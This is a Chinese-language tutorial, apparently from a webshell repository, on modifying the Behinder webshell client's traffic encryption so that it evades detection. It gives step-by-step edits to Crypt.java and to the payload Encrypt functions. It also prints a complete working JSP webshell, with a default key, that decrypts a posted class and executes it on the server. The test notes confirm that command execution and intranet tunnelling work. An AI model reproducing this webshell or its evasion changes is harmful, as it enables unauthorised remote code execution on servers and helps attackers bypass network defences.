webshell/Behinder/简单的冰蝎流量魔改.md
2022-08-05 23:15:17 +08:00

64 lines
5.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

感觉冰蝎流量魔改的文章比较少我自己琢磨了一下感觉简单地做个流量魔改并不复杂发出来供大家参考。我自己是个Java笨比有问题的地方欢迎大佬们评论区指正共同学习。
0x00 冰蝎源码
---------
冰蝎源码的获取可以下载冰蝎用idea自带的反编译工具去反编译我这里直接用github搜到的别人整理好的反编译代码了[https://github.com/x1a0t/Behinder-Source](https://github.com/x1a0t/Behinder-Source%EF%BC%89)
0x01 Crypt.java的修改
------------------
### 1加密函数
在Crypt.java中可以修改Encrypt、EncryptForPhp这类加密函数的逻辑比如在返回结果数据前对结果做自定义的加密处理。我这里的例子就是在原有的AES基础上做了个base64编码。
note`public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)`这个函数不用改。
我看了下这个函数是在进最后的return前进了其他被改了逻辑的加密函数比如EncryptForPhp其他函数改过了这里就不用动了。我最开始没仔细看代码的时候想着人家写了个汇总函数在这里改应该挺快捷的结果发现这里虽然写了个汇总的函数但是有些时候调用加密还是调用了具体的加密函数比如EncryptForPhp所以这里就不用管这个函数了。
修改的例子:
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
### 2解密函数
修改Crypt.java里的Decrypt函数我这里是做的base64编解码只要在这个总的Decrypt函数开头做一次解码就行了各位大佬们可以根据自己选用的编解码方式自行修改这些Decrypt函数
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
0x02 payload的修改
---------------
我自己对jsp马做了个简单的跟踪调试发现解密函数解密的流量应该是被客户端塞进去的payload里的xxx.class发出来的这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。所以这里的思路是把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修改一下,就能贯通整个加解密通讯流程了。
具体操作还是以jsp增加base64编码举例子
因为演示的是jsp的部分就去修改net.rebeyond.behinder.payload.java下面的Java代码文件找到里面的Encrypt()函数payload里的Java代码挨个找找改一下并不是每一个文件都有Encrypt这里没有就不管去修改加密逻辑就行了
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
note`别的语言的payload里的加密函数也叫encrypt(最多有些大小写区别)但是要修改的话需要用对应的语言去修改其中C#的是dll文件需要额外的姿势欢迎评论区老哥补充这方面方便的思路`
以php为例子加密函数修改如下
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
0x03 webshell马子的修改
------------------
以jsp为例这里就是在原本的base64解码里又套了一层base64解码
```
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
```
0x04 打包与测试
----------
用maven做package打包完成后要用的是名字长的那个jar包Behinder-3.0-beta-11\_t00ls-jar-with-dependencies.jar
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
本地运行,测试(命令执行、内网穿透等功能正常,不过数据库连接功能拉闸了):
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
有两个还没解决的东西:
1.C#部分的dll文件处理欢迎老哥们在评论区发点儿快捷的处理方法、思路
2.数据库连接功能出现了bug暂时还没去调试老哥们有知道的欢迎评论区重拳出击